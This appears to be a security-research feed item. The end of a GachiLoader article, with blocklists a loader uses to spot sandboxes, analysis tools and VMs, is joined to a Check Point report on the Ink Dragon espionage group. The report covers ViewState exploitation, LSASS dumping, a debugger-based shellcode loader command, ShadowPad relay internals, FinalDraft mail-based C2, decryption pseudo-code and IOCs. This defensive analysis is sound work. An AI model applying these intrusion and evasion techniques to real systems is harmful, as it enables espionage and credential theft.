pxmduopvyx	8vizsm	w0fjuovmcpa
lmvwjj9b	pqonjhvwxss	3u2v9m8
julia	heuerzl	harry johnson
j.seance	a.monaldo	tvmt
johanna	johnson	miller
malware	maltest	virus
test user	sand bog	bruno
anand	it-admin	walker

Appendix B – Hostname Blocklist

b30f0242-1c6a-4	desktop-vrsqlag	q9itrkphr
xc64zb	desktop-d019gdm	desktop-wi8clet
server1	lisa-pc	john-pc
desktop-b0t93d6	desktop-1pypk29	desktop-1y2433r
wileypc	wok	6c4e733f-c2d9-4
ralphs-pc	desktop-wg3myjs	desktop-7xc6gez
desktop-5oy9s0o	qarzhrdbj	orelee pc
archibaldpc	julia-pc	d1b_coursek
comname_5076	ralphs-pc	desktop-vkeons4
tdt-eff-2w11wss	work	q9iatrkphr

Appendix C – Process Blocklist

human.exe	cred-store.exe	device-sense.exe
private-cloud-proxy.exe	tib_monitor_monitor.exe	tmsmonitor.exe
vmtoolsd.exe	adpagent.exe	fakenet.exe
dumpcap.exe	httpdebugger.exe	wireshark.exe
fiddler.exe	vboxservice.exe	df5serv.exe
vboxtray.exe	ollydbg.exe	pestudio.exe
vmwareuser.exe	vgautservice.exe	vmacthlp.exe
x96dbgn.exe	vmsrvc.exe	x32dbgn.exe
vmusrvc.exe	prl_cc.exe	prl_tools.exe
xenservice.exe	qemu-ga.exe	joeboxcontrol.exe
ksdumperclient.exe	ksdumper.exe	joeboxserver.exe
vmwareservice.exe	vmwaretray.exe	todaydeathdo.exe
mitmdump.exe	idaw.exe	vxtkernelsvcntmgr.exe
windbg.exe	dumpit.exe	procmon.exe
rammap.exe	rammap64.exe	inetsim.exe
hvix64.exe	ida64.exe	x64dbg.exe
cutter.exe	r2.exe	binaryninja.exe
dbgview.exe	tcpdump.exe	netcat.exe
idaq64.exe	frida-server.exe	frida-inject.exe
frida.exe	pin.exe	drrun.exe
apimonitor.exe	volatility.exe	rekall

Appendix D – Drive Manufacturer Blocklist

vmware	xen	msft virtual
hyper-v	kvm	red hat
aws	azure	google
gcp	openstack	cinder
ovirt	citrix	virtuozzo
virtio

Appendix E – Video Controller Blocklist

virtualbox graphics adapter	vbox disp adapter	qemu virtual video
hyper-v video	parallels display adapter wddm	red hat qxl
xen vga	citrix display adapter

The post GachiLoader: Defeating Node.js Malware with API Tracing appeared first on Check Point Research.

Key Findings

• In recent months, Check Point Research has identified a new wave of attacks attributed to the Chinese threat actor Ink Dragon. Ink Dragon overlaps with threat clusters publicly reported as Earth Alux, Jewelbug, REF7707, CL-STA-0049, among others.
• Ink Dragon has expanded its operational focus to new regions – In the last few months, the threat actor’s activities show increased focus on government targets in Europe in addition to continued activities in Southeast Asia and South America.
• Ink Dragon builds a victim-based relay network – Ink Dragon leverages a custom ShadowPad IIS Listener module to turn compromised servers into active nodes within a distributed mesh, allowing each victim to forward commands and traffic, effectively transforming targets into part of their C2 infrastructure.
• Ink Dragon continues to exploit long-known IIS misconfigurations for initial access – Despite years of public reporting and awareness within the security community, Ink Dragon still relies on predictable or mismanaged ASP.NET machineKey values to perform ViewState deserialization attacks against vulnerable IIS and SharePoint servers.
• Ink Dragon is evolving its operations with new TTPs and tools – The cluster has introduced a new variant of FinalDraft malware with enhanced stealth and higher exfiltration throughput, along with advanced evasion techniques that enable stealthy lateral movement and multi-stage malware deployment across compromised networks.

Introduction

Check Point Research tracks a sustained, highly capable espionage cluster, which we refer to as Ink Dragon, and is referenced in other reports as CL-STA-0049, Earth Alux, or REF7707. This cluster is assessed by several vendors to be PRC-aligned. Since at least early 2023, Ink Dragon has repeatedly targeted government, telecom, and public-sector infrastructure, initially concentrating on Southeast Asia and South America, but with an increasing footprint in Europe and other regions. The actor’s campaigns combine solid software engineering, disciplined operational playbooks, and a willingness to reuse platform-native tools to blend into normal enterprise telemetry. This mix makes their intrusions both effective and stealthy.

A notable characteristic of Ink Dragon’s operations is their tendency to convert compromised environments into part of a larger, distributed relay network. By deploying a ShadowPad IIS Listener Module across multiple victims, the group effectively turns each breached server into a communication node capable of receiving, forwarding, and proxying commands. This design allows attackers to route traffic not only deeper inside a single organization’s network, but also across different victim networks entirely. As a result, one compromise can quietly become another hop in a global, multi-layered infrastructure supporting ongoing campaigns elsewhere, blending operational control with strategic reuse of previously breached assets.

This blog also presents the forensic story of a high‑stakes compromise of a European government office, highlighting recurring methods observed across different victims. We walk through the entire kill chain observed in the field, including web-centric initial access, hands-on-keyboard activity, staged loaders, privilege escalation, and credential-harvesting components, as well as aggressive lateral movement that culminated in domain dominance. We also document multiple delivery and persistence patterns that Ink Dragon favors, and unpack a new variant of the FinalDraft backdoor, which is used as a resilient, cloud-native command-and-control platform.

Beyond the technical details, this article shows how Ink Dragon’s tooling and repeatable TTPs reflect a mature, modular development model that steadily expands in capability while maintaining a consistent operational philosophy.

Attack Chain

Attackers begin by gaining initial access through ViewState deserialization or ToolShell-based exploits, then deploy ShadowPad on the compromised server. They harvest IIS worker credentials and establish an RDP proxy to move laterally, using RDP and ShadowPad’s built-in capabilities along with reused credentials. After obtaining access to a domain admin account, they achieve domain dominance. From there, they deploy FinalDraft on strategic machines and install a ShadowPad IIS listener on public-facing servers, enabling new victims to connect to the attackers’ infrastructure as the campaign continues.

Initial Access

In the environments we investigated, the common initial access vector is exploitation of ASP.NET ViewState deserialization via publicly disclosed machine keys. In this scenario, the __VIEWSTATE parameter, normally protected using the application’s machineKey, can be forged if the key is copied from public sources. Once the attacker can generate a valid signature, they can inject a crafted ViewState payload that the server deserializes, leading to remote code execution.

In other cases, we’ve also observed the actor abusing the ToolShell SharePoint vulnerability. ToolShell is an exploit chain targeting on-premises Microsoft SharePoint that combines authentication bypass and unsafe deserialization (CVE-2025-49706 / CVE-2025-53771 and CVE-2025-49704 / CVE-2025-53770, among others) to enable unauthenticated remote code execution and web shell deployment on vulnerable servers. In July 2025, we observed the actor conducting mass scanning for the ToolShell vulnerability during the initial waves of exploitation, indicating the actor was among a limited set of actors with early access to the exploit.

This demonstrates that the attackers have multiple web-facing options for initial compromise. The practical workflow is straightforward: enumerate internet-facing IIS/SharePoint servers, test for predictable machine keys or vulnerable SharePoint endpoints (often using publicly available fuzzing lists), and submit crafted POSTs or payloads that trigger deserialization/RCE. These attacks are stealthy and scale well against large organizations with inconsistent web configurations.

Internal Operation & Kill Chain Overview

Lateral Movement

In these campaigns, the adversary leverages two complementary strengths of a web compromise after gaining an initial foothold: privileged local artifacts (the IIS application/service credentials and configuration) and visibility into active administrative sessions.

By obtaining the IIS machineKey/DecryptionKey or otherwise recovering the site’s cryptographic secrets, the attacker can decrypt locally stored configuration blobs and credentials that the site or its worker processes store. In practice, this frequently yields the IIS worker/app-pool account password or other local secrets that carry elevated rights on the host and often across other IIS servers that reuse the same service account or credential material.

With a local administrative credential in hand, Ink Dragon escalates from code execution in w3wp.exe to full system control, and then leverages that control to create a persistent remote access channel (commonly an RDP tunnel or scheduled task that launches an administrative payload). Because many organizations reuse service credentials across web farms for management convenience, obtaining a single IIS credential can allow the actor to authenticate to sibling IIS hosts and pivot laterally with minimal network noise. Ink Dragon frequently tunnels RDP traffic to reach internal hosts from a remote workstation, exposing their machine names and enabling direct, interactive sessions that appear superficially legitimate.

From there, the attacker’s lateral playbook becomes straightforward: stage a resilient implant (ShadowPad/FinalDraft variants are common) and propagate it using native protocols such as SMB. The operator copies the triad (EXE + side-loaded DLL + encrypted blob) into writable shares, creating a service or scheduled task to run the payload, and attempting to disguise the service/process under a plausible name.

Persistence

The most common patterns we observed:

1. Scheduled tasks – the actor created tasks with benign-looking names (notably SYSCHECK) set to run under SYSTEM and pointing to staged loader hosts such as conhost.exe. Tasks were often created to run once at a chosen time, allowing the operator to bootstrap wide-scale re-execution while minimizing noisy periodic callbacks.
2. Service installation – on several machines, Ink Dragon installed services to launch their loaders as persistent system services, with service names disguised as Windows updates or temporary maintenance (e.g., WindowsTempUpdate). These services were used to run side-loaded triads (EXE + malicious DLL + encrypted blob), guaranteeing automatic restart and SYSTEM execution after reboots.

It’s essential to note that many of the staged executables (e.g., conhost.exe) were renamed to resemble native Windows binaries, yet they were digitally signed by legitimate vendors such as Advanced Micro Devices, Realtek Semiconductor Corp, and NVIDIA. Their OriginalFileName metadata differed from the on-disk names, indicating deliberate masquerading and abuse of trusted signatures to blend with the operating system.

Privilege Escalation

Ink Dragon combines targeted exploitation with heavy credential harvesting to quickly escalate local control into domain-level dominance.

1. Local escalation via exploitation: In multiple incidents, the initial __VIEWSTATE RCE was followed by local escalation tooling such as PrintNotifyPotato to obtain SYSTEM from a web server context. This allowed full control over the host and the rights to create persistent services and change firewall settings.
2. Credential harvesting and LSASS dumping: the operators deployed custom tools (we observed variants of LalsDumper) to create LSASS dumps and extract registry hives (SAM, SYSTEM) into ProgramData or user-profile directories for offline cracking. Dump files and registry hive exports were then used to recover NTLM hashes and Kerberos material.
3. Leveraging idle sessions: Ink Dragon actively enumerated Remote Desktop sessions and administrative consoles on key servers. In at least one instance, the actor located an idle RDP session belonging to a Domain Administrator that had authenticated via Network Level Authentication (CredSSP) using NTLMv2 fallback. Since the session remained disconnected but not logged off, it is highly likely that LSASS retained the associated logon token and NTLM verifier in memory. Ink Dragon obtained SYSTEM-level access to the host, extracted the token (and possibly the NTLM key material), and reused it to perform authenticated SMB operations. Through these actions, they were able to write to administrative shares and exfiltrate NTDS.dit and registry hives, marking the point at which they achieved domain-wide privilege escalation and control.

Enabling Egress

Ink Dragon modified host firewall rules to permit broad outbound traffic and effectively turned compromised hosts into unconstrained exfiltration/proxy nodes.

The group created a permissive outbound rule labeled to resemble legitimate software (we observed a rule named Microsoft MsMpEng, associated with MsMpEng.exe) that allowed Any → Any outbound traffic across all profiles. The rule was created locally (not via GPO), enabled, and applied to the Defender process in SYSTEM context. This bypasses upstream egress controls that would otherwise block custom ports or tunneling traffic.

Building the Relay Network

During the investigation, we discovered that Ink Dragon is actively converting compromised organizations into functional communication nodes within a distributed ShadowPad relay network. This capability is powered by an IIS Listener Module. Instead of serving as a traditional backdoor, the module enables the malware to register new URL listeners directly through the HttpAddUrl API, which lets processes bind HTTP(S) endpoints dynamically, including wildcard patterns that match all sub-paths or hostnames. This means the malicious listener seamlessly coexists with legitimate IIS behavior, silently intercepting any incoming HTTP requests whose URL matches its configuration. When a request arrives, the module decrypts the payload and evaluates whether the structure fits its proprietary protocol. If not, it falls back to genuine IIS logic, serving real web content or returning legitimate error codes. The result is a hard-to-detect implant that blends into the server’s normal traffic patterns while retaining full control over its hidden C2 channel.

Where this becomes significantly more strategic is in how the module manages remote peers. The listener can categorize external IP addresses into two functional roles: servers and clients. It automatically pairs nodes from each list to relay traffic between them. Once two peers are matched, the compromised host becomes a live forwarding point: data arriving from the “server” side is streamed directly to the “client,” and responses are returned in the same manner, effectively turning the victim into a transparent communication bridge. We observed multiple instances where government entities were inadvertently serving as C2 relays. In some instances, the victim machine is leveraged as a hop, serving as an access node for ShadowPad clients active in other, unrelated target environments. This chaining effect forms a multi-layered mesh of compromised infrastructure, allowing the operator to issue commands to downstream implants without direct communication with them.

Beyond its role in constructing a large-scale external relay network, the ShadowPad IIS module also exposes a conventional internal proxy capability, designed to route commands toward ShadowPad nodes located deeper within the same network. When the attackers need to deliver instructions to implants that do not have direct external reachability, the IIS module simply relays the traffic internally, behaving much like a pivot point inside the compromised environment. This capability is not new in concept, but its integration into a legitimate IIS worker process makes it extremely difficult to distinguish malicious lateral communication from normal internal service traffic.

Beyond the relay logic itself, the module leaves behind an unusually rich forensic artifact: debug strings that document the number of bytes it forwards between external and internal IP addresses. These strings include source, destination, and payload size. During our investigation, this telemetry proved essential in reconstructing the attackers’ communication graph, enabling us to map exactly how commands entered the victim, how they were relayed, and which internal hosts were drawn into the chain. The presence of such granular logging underscores just how central the relay mechanism is to the operator’s workflow: the victim is not merely compromised, but actively repurposed as a communication bridge that keeps the broader ShadowPad infrastructure stitched together.

This architecture enhances stealth and survivability. By routing commands through unrelated victims, the true controlling IP is never exposed, and network defenders have difficulty distinguishing malicious cross-organization traffic from legitimate inter-government or inter-infrastructure communication. Most significantly, every newly compromised perimeter system can be repurposed immediately as another hop, allowing Ink Dragon to expand its operational reach while obscuring both the origin and the direction of command flow.

Tools & Post‑Exploitation Components

As we expanded our analysis beyond the initial access vector, a broader toolset began to emerge. Ink Dragon does not operate with a single backdoor or a monolithic framework; instead, the intrusions feature a sequence of purpose-built components that activate at different stages of the operation. What follows is a breakdown of the post-exploitation tooling we recovered, from IIS-embedded ShadowPad modules to debugger-based loaders, credential-harvesting implants, and long-term command-and-control platforms.

Summary of Observed Components

Category	Name	Function	Brief Description
IIS Backdoors & C2	ShadowPad IIS Listener Module	Core C2 & relay node	Intercepts selected IIS traffic, decrypts commands, builds a distributed relay network, and exposes a full ShadowPad backdoor on IIS servers.
Loader	ShadowPad Loader	Payload delivery	Triad structure (EXE + DLL + TMP) that decrypts and runs the ShadowPad core in memory while deleting artifacts.
Loader	CDBLoader	Memory-resident payload execution	Uses cdb.exe scripts to patch memory, run shellcode, and load AES-encrypted payloads via a debugger session.
Credential Access	LalsDumper	LSASS dump extraction	Registers a malicious SSP DLL in LSASS, extracts a compressed LSASS memory dump via custom direct-syscall logic.
Loader	032Loader	Host-dependent payload loader	RC4-like decryption using the system’s InstallDate as entropy, delivering payloads via shared memory mapping.
Modular RAT	FinalDraft	Long-term espionage & cloud C2	Modular RAT using Microsoft Graph API; supports exfiltration, RDP history harvesting, tunneling, scheduling, and mailbox-based command exchange.

ShadowPad IIS Listener Module

Module Initialization

The ShadowPad IIS Listener Module deployed in this intrusion is a fully integrated component designed to masquerade as part of the legitimate IIS stack while quietly providing command-and-control and relay capabilities. Its configuration block defines several operational parameters that determine both how it responds to benign web traffic and how it handles attacker-controlled messages. These include a server type string (used in HTTP response headers), a document root path, and a fallback error page path. Even when configuration fields are absent, the module falls back to realistic defaults — "C:\\inetpub\\wwwroot", "C:\\inetpub\\custerr\\en-US\\404.htm", and "Microsoft-IIS/10.0". Those values allow the module to blend seamlessly with a standard Windows Server installation.

The most important part of the configuration is the list of URL patterns the module will intercept. These patterns are stored as wildcard-enabled strings, separated by semicolons, and are used to register listeners via the Windows HttpAddUrl API. This API allows the module to attach itself to arbitrary HTTP URL prefixes, including those containing wildcards for hostnames or paths, making the listener hard to detect unless the exact bindings are enumerated at the OS level. Any inbound request matching one of these patterns is captured and passed through the module’s internal decryption and message-parsing routine.

def decrypt_first_packet(buf: bytearray, seed: int, length: int):
    """
    buf     = bytearray starting at a1->type (first byte = LOBYTE(seed), second = HIBYTE(seed))
    length  = total length of buffer (rdx)
    """
    
    count = length - 2
    seed_lo = buf[0]
    seed_hi = buf[1]
    num = (seed_hi << 8) | seed_lo
    num &= 0xFFFFFFFF
    
    pos = 2
    for _ in range(count):
        hi = (num >> 16) & 0xFFFF
        num = (hi * 0x7093915D - num * 0x6EA30000 + 0x06B0F0E3) & 0xFFFFFFFF
        buf[pos] ^= num & 0xFF
        pos += 1

    return buf

Requests that do not conform to the attacker’s expected encrypted structure are quietly handled as normal IIS traffic: static files are served from the configured webroot folder when available, and legitimate error pages are returned otherwise. This fallback behavior ensures the listener remains operationally stealthy, presenting a legitimate façade while still acting as a covert interception point.

Split Command Architecture

Once a request passes the module’s URL‑matching, decryption, and structural checks, the ShadowPad IIS Listener evaluates the embedded command ID. These commands fall into two broad categories, both of which are handled by the same component.

The first category contains the instructions responsible for building and maintaining the distributed relay network. These include commands that register an endpoint as a “server,” commands that register an endpoint as a “client,” and the logic that pairs nodes, forwards traffic, and maintains the two queues that drive the hop‑to‑hop communication model.

The second category is entirely separate in purpose: a full backdoor command set enabling the operator to interact directly with the local system. These commands cover host reconnaissance, file operations, data collection, payload staging, configuration updates, process control, and network‑level actions. In other words, the same module responsible for linking compromised machines into a cross‑victim relay chain is also fully capable of operating as a traditional ShadowPad backdoor on that same host.

Distributed Relay Network Construction

The most strategically significant capability lies in the module’s role in building and maintaining the operator’s distributed relay network. The IIS Listener maintains two concurrent registries of peers: a server list and a client list. Nodes can add themselves to either list via dedicated command IDs. Entries in the server list are periodically revalidated every 30 seconds, and the module issues acknowledgments to confirm ongoing availability. Nodes placed into the client list behave differently; if a client remains unpaired for 30 seconds, it is automatically pruned to prevent stale links.

Whenever a new node is inserted into one of the lists and the Listener detects that both lists contain at least one live entry, it pairs the first server node with the first client node. At that moment, it sends the server the victim’s IP address. After this handshake, the module establishes bidirectional relaying between the two sockets, shuttling each packet from server → client and client → server with no further processing. The result is a fully transparent hop that allows an upstream operator to deliver commands to a downstream client without ever interacting with that client directly.

Backdoor Features

The IIS Listener Module of ShadowPad also includes features of the ShadowPad client, letting the attackers run different commands on the IIS machine. This embedded command set provides the operator with extensive control over the compromised host, enabling everything from reconnaissance to interactive access to payload staging.

The breadth of these command IDs illustrates how ShadowPad’s IIS Listener is more than a simple traffic forwarder; it is a self-contained control surface capable of both maintaining the distributed relay network and exerting fine-grained control over any machine running it. This duality is central to Ink Dragon’s operational philosophy: relay-capable nodes double as fully functional access points, allowing the operator to maintain stealthy persistence, collect intelligence, deploy additional tooling, and issue high-privilege instructions without ever exposing their true command infrastructure.

ShadowPad’s backdoor exposes a broad command surface designed to give operators full, hands-on control of a compromised system. It begins with basic orchestration capabilities, retrieving the full command map, gathering a detailed system snapshot, launching an interactive reverse shell, or cleanly shutting down the implant when needed. From there, the malware offers an extensive file-management layer that can enumerate drives, walk directories, manipulate timestamps, create or remove files and folders, and read, write, move, or download data on demand. This is complemented by rich process and service control, allowing operators to list and kill processes, inspect loaded modules, and start, stop, or delete Windows services with the same precision seen in legitimate administration tools.

ShadowPad also supports multiple execution models, including running commands with output capture, spawning interactive console processes with full screen-buffer access, and maintaining long-lived execution channels through pipes. The networking side is equally capable: the implant can inspect local TCP/UDP tables, alter network entries, and even serve as a pivot point by proxying or tunneling traffic through the infected host. In practice, these capabilities turn the backdoor into a complete remote operations platform that blends system administration, espionage tooling, and covert tunneling into a single, tightly integrated module.

ShadowPad Loaders

ShadowPad is a modular, multi-layered backdoor framework widely attributed to Chinese state-sponsored threat groups and frequently used in long-term espionage campaigns. ShadowPad allows operators to deploy customized modules for data exfiltration, credential harvesting, and lateral movement.

In Ink Dragon’s operations, we observed numerous ShadowPad deployments following a recurring triad sideloading structure: an executable, a malicious DLL, and an encrypted TMP payload. The legitimate or masqueraded executable loads the malicious DLL, which in turn decrypts and executes the ShadowPad core from the TMP file directly in memory, erasing the payload afterward to minimize forensic artifacts.

A notable detail in Ink Dragon’s ShadowPad loader is that many of the malicious DLLs across different incidents shared the same generic name, DLL.dll. The DLL loaders were MFC-based binaries, where the malicious code was heavily obfuscated using ScatterBrain.

Once executed, these loaders perform on-the-fly decryption of configuration data and payloads stored in the same directory.

Path	Executable	DLL
C:\Users\Public	vncutil64.exe	vncutil64loc.dll
C:\Program Files\Microsoft\Edge	ApplicationLogs.exe	atiadlxy.dll
C:\Program Files\Microsoft\Edge\Application	msedge_proxyLog.exe	msedge_proxyLogLOC.dll

CDBLoader

One of Ink Dragon’s most distinctive TTPs is leveraging the Microsoft debugger (cdb.exe) as an execution host.

Rather than launching a typical EXE, the operator runs a WinDbg/CDB scripted session, such as: c:\users\public\cdb.exe -cf C:\Users\Public\config.ini -o C:\Users\Public\cdb.exe.

The shipped config.ini is not an innocuous INI file. It contains a sequence of memory-edit / write-bytes commands followed by a change to the instruction pointer (RIP) so execution continues at the attacker-controlled shellcode. The shellcode, in turn, reads an auxiliary file (wmsetup.log) from disk, decrypts it with an AES key hard-coded into the shellcode, and loads the real payload into memory for execution. After the payload runs, the debugger instance and helper files are often removed, leaving only transient memory-resident code.

LalsDumper

LalsDumper is Ink Dragon’s in-house LSASS extraction chain observed during multiple intrusions. The sequence starts with a small loader (lals.exe) that manipulates a companion DLL (fdp.dll) in the same folder. The loader locates a placeholder (32 ‘d’ characters) inside fdp.dll, overwrites that placeholder with the path to an auxiliary file (rtu.txt), and produces a patched DLL named nfdp.dll.

Crucially, the loader calls AddSecurityPackageA to register the DLL as a Security Support Provider (SSP) so that lsass.exe will load it, a technique that forces LSASS itself to load attacker code in-process.

The registered DLL reads rtu.txt, applies a simple XOR with 0x20 to recover a secondary payload, and then maps that payload into memory. The payload implements a custom MiniDumpWriteDump-like routine (not using the Windows API directly) to create a compressed dump of lsass.exe, writing a ZIP-like dump file named <%TEMP%>\<pid>.ddt.

The chain uses direct syscalls (hashed at runtime) to evade API-based hooking and EDR detection.

def hash_syscall(name: str) -> int:
    h = 0xCD7815D6                # constant seed
    for (*WORD) ch in name:       # iterate Unicode code-points
        h ^= (ord(ch) & 0xFFFF) + ror32(h, 8)
    return h & 0xFFFFFFFF

The DLL exposes a function called Tom, which serves as the payload’s runtime entry point and orchestrates the loader’s core logic: when invoked, Tom creates a file in the system TEMP folder named using the victim process ID (for example %TEMP%\<pid>.ddt), captures a memory dump of lsass.exe and writes that dump into the .ddt file using a ZIP-style archive format.

032Loader

032Loader is a sideload-based loader that uses host-specific entropy to decrypt and execute payloads. After being sideloaded by a legitimate executable, the loader patches the host EXE’s code flow so that control transfers to its own logic immediately after load.

The loader then queries the system’s InstallDate from the registry and derives a decryption key from that value. It uses the InstallDate as the seed for RC4 (or RC4-like) decryption of a third-file blob (the encrypted payload), often accessed via the SystemFunction032 API to perform the decryption step. Once decrypted, the loader maps the payload via CreateFileMappingW / MapViewOfFile and adjusts memory protections with VirtualProtect, then transfers execution to the in-memory payload.

FinalDraft: New Version

FinalDraft is a well-engineered, full-featured remote administration tool with the ability to accept add-on modules that extend functionality and proxy network traffic internally, mostly by abusing Outlook mail service via the Microsoft Graph API. The samples and behavior we analyzed are consistent with previous public write-ups, but Ink Dragon’s deployments show continued feature expansion and careful operational tuning to reduce telemetry and maximize resilience.

FinalDraft begins by locating and decrypting its configuration blob. The configuration is XORed with either a hash derived from the host ProductId (making the config per-machine) or the hash of a hardcoded string.

Once decrypted, the config exposes a unique GUID for the implant, the preferred communication transport, an AES key for message encryption, C2 endpoints and refresh tokens, and other operational metadata.

00000000 struct __fixed config_structure
00000000 {
00000000     char refresh_token[5000];
00001388     char backup_refresh_token_url[200];
00001450     char guid[36];
00001474     int unknown;
00001478     __int16 build_id;
0000147A     int sleep_val;
0000147E     char communication_method;
0000147F     char aes_key[16];                
0000148F     char external_ip_or_not;
00001490     char self_remove_flag;
00001491     char exit_byte __bin;
00001492     __int64 unknown;
0000149A     int interval_val;
0000149E     int repeat_val;
000014A2     int[7] time_list;
000014B2     __int64 time1;
000014BA };

The most commonly used transport we observed is COutlookTrans, which leverages the Microsoft Graph API (the token endpoint at https://login.microsoftonline.com/common/oauth2/token) to hide command-and-control traffic inside legitimate cloud mail flows. FinalDraft uses a refresh token embedded in its configuration to acquire OAuth access tokens, which it stores locally under HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\ for later use. Commands and responses are exchanged as email drafts (messages whose subject starts with r_<session_id> and p_<session_id>). The payloads inside those messages are base64-encoded, AES-encrypted (with the config key), and compressed, which helps the operator hide instructions inside otherwise normal mailbox data and bypass network filtering that whitelists Microsoft cloud endpoints.

FinalDraft implements a modular command framework in which operators push encoded command documents to the victim’s mailbox, and the implant pulls, decrypts, and executes them. Beyond the standard toolkit (process/service control, file/registry access, tunneling, and file transfer), the Ink Dragon variants we analyzed introduce several extensions that increase stealth, operational control, and data-theft efficiency.

Flexible Beacon Scheduling

The malware supports highly granular callback controls, allowing operators to define daily beaconing windows or specify an explicit list of times when the implant will attempt to reach its C2. This schedule-based design helps blend command traffic into predictable operational patterns.

RDP Activity Harvesting

DumpRDPHistory extracts evidence of both outbound and inbound RDP usage.

1. RDP OUT (Outbound RDP targets) – MRU-like entries in the user registry hives that record the servers the user has connected to (the built-in RDP client’s Recent Server list). For each entry, the tool reads UserNameHint and the registry key’s last write time to produce lines like: <ServerName>:<UserNameHint>:<Timestamp>. This data is queried from HKCU\SOFTWARE\Microsoft\Terminal Server Client\Servers\<ServerName>\
2. RDP IN (Inbound RDP sessions) – Event log entries from the Terminal Services Local Session Manager operational channel that record session connect/disconnect events. The tool queries Windows Event Log (via EvtQuery / Get-WinEvent) for Event ID 21 (Remote Desktop Services: Session logon succeeded) and 25 (disconnect/other session events depending on Windows version). From these, it extracts records like: <UserName>:<IP>:<TimeStamp>.

Security Control Downgrades

Several commands intentionally weaken Windows security posture to assist persistence and lateral movement:

• DisableRestrictedAdmin – makes RDP connections authenticate with reusable credentials or delegated tokens, enabling credential hopping instead of “restricted” mode authentication. It makes RDP more attractive for lateral movement because an attacker who already controls an endpoint can initiate Restricted Admin connections using local credentials or stolen hashes to hop to other systems without needing cleartext passwords.

• DisableTokenFiltering – disables remote token filtering so local admin accounts receive full, not restricted, admin tokens over the network. This allows attackers to use reused or harvested local credentials to perform truly administrative remote actions without requiring domain credentials.
• EnableDSRMAdmin – allows the powerful DSRM recovery account to log in even when the DC is not in Directory Services Restore Mode. It gives an attacker a powerful, low-audited way to gain full local control of a DC using an otherwise seldom-monitored credential or hash.

• DisableRunAsPPL – removes Process Protection Level safeguards, enabling injection and tampering with protected processes such as AV/EDR components. Adversaries do this to defeat endpoint defenses (allowing in-memory loaders, hooking, or live patching of AV and EDR components), to persist by replacing signed binaries, or to extract secrets from processes that would normally be protected.

High-Throughput Exfiltration

BackgroundFileTransfer introduces a dedicated asynchronous worker for large-scale exfiltration. It streams data in sizeable chunks, reports progress in the background, and minimizes the number of required outbound connections. This is ideal for moving large archives over cloud-proxied channels without attracting attention.

Host Profiling & Inventory

Ink Dragon consolidates multiple reconnaissance routines such as system fingerprinting, adapter enumeration, and installed software collection into a unified host profile. This captures IP configuration details (similar to ipconfig /all), network adapter metadata, installed applications (from HKLM and HKCU uninstall keys), system identifiers (MachineGuid, ProductId, InstallDate, and System uptime), and other indicators useful for victim classification and targeting.

Victimology

Ink Dragon’s targeting patterns show a consistent emphasis on government organizations, but beyond that shared characteristic, there are no clear indicators of how the actor selects its victims. Most affected organizations appear to serve a specific operational purpose for the actor rather than reflecting broad, industry-wide targeting.

Geographically, Ink Dragon has focused heavily on government entities in Southeast Asia and Africa, and in recent months has expanded its activity into Europe. Since the ToolShell exploitation wave in July, the actor has steadily increased its operations in the region, with a growing concentration on European government-sector targets. A key aspect of Ink Dragon’s tradecraft is its use of compromised organizations as C2 relay nodes. As a result, we have observed European victims being leveraged to launch activity not only against additional European institutions, but also against targets in Africa and Southeast Asia.

Overlap With RudePanda / REF3927 Activity

During our investigation, we also observed evidence of a second intrusion set commonly tracked as RudePanda / REF3927 on several of the same victim environments compromised by Ink Dragon. While we do not assess these activity clusters to be operationally linked, the victimology overlap is notable: both actors exploited the same internet-facing server vulnerability to gain footholds in identical organizations and systems.

Upon gaining access, RudePanda relied on its customary toolset, which included:

• Godzilla-derived webshells used to execute in-memory .NET payloads and deploy secondary components.
• Malicious IIS modules belonging to the TOLLBOOTH family embed command-and-control logic directly inside the web server’s processing pipeline. Several modules contained PDB references to dongtai, consistent with tooling previously documented in public reporting.
• Configuration tampering of IIS’s applicationHost.config, where a simple diff against previous snapshots exposes the unauthorized module insertions.

In addition, the actor deployed a kernel-mode rootkit driver, wingtb.sys (2965ddbcd11a08a3ca159af187ef754c), a modified and signed variant of Winkbj.sys. Its installation uses an INF file (Hidden.inf) naming the service “Wingtb.” The driver is derived from the open-source “Hidden” rootkit project, used to conceal files, processes, and registry entries after being activated on the system.

Finally, several .lnk artifacts referencing the operator’s backdoor kit that is consistent with the GoToHTTP tooling previously documented by both HarfangLab and Elastic were recovered on disk. Although the original payloads were deleted, these link files served as additional indicators of RudePanda’s presence.

Conclusion

Ink Dragon’s operations illustrate a shift in how modern espionage clusters weaponize compromised infrastructure. Rather than treating each victim as an endpoint to be monitored or harvested, the group systematically folds every breached perimeter server into a distributed ShadowPad relay fabric. The IIS Listener Module sits at the center of this strategy: a stealthy, low-friction component that binds hidden URL prefixes, intercepts traffic without disrupting legitimate services, and quietly links victims together into a multi-hop communication grid.

This architecture transforms the threat landscape in several ways. First, it grants the operators resilient command paths that do not rely on fixed infrastructure. Even if a downstream implant has no internet reachability or if upstream servers are blocked, the attacker can simply reroute through other victims. Second, it provides natural operational camouflage. Traffic tunneled between unrelated government or enterprise networks appears outwardly benign and often blends into the expected profile of inter-organizational HTTP flow. Third, it enables strategic re-use of compromised assets: once a host is enrolled as a ShadowPad relay, it becomes an evergreen pivot point that continues to serve campaigns long after the initial intrusion.

The rest of the kill chain reinforces this design philosophy. Mature sideloading patterns, modular loader triads, memory-resident payloads, compartmentalized privilege escalation, and disciplined credential harvesting all serve one purpose: establish durable, high-privilege access long enough to turn the victim into reliable infrastructure. Whether deploying FinalDraft, staging ShadowPad loaders, or extracting domain-wide secrets, each action feeds back into the broader communication mesh that Ink Dragon relies on to maintain persistence across environments.

Taken together, Ink Dragon presents a threat model in which the boundary between “compromised host” and “command infrastructure” no longer exists. Each foothold becomes a node in a larger, operator-controlled network – a living mesh that grows stronger with every additional victim. Defenders must therefore view intrusions not only as local breaches but as potential links in an external, attacker-managed ecosystem, where shutting down a single node is insufficient unless the entire relay chain is identified and dismantled. Ink Dragon’s relay-centric architecture is among the more mature uses of ShadowPad observed to date. A blueprint for long-term, multi-organizational access built on the victims themselves.

IOCs

2e84ea5cef8a9a8a60c7553b5878a349a037cffeab4c7f40da5d0873ede7ff72 - dongtai module
e2f6e722c26e19b76396c2502cacf2aaceaaa1486865578c665ebf0065641ffa - dongtai module
f9dd0b57a5c133ca0c4cab3cca1ac8debdc4a798b452167a1e5af78653af00c1 - Wingtb.sys
a86e72ca58de6d215a59ae233963eaea27fe47ef0c9f43938e27339df4a86732 - 032Loader
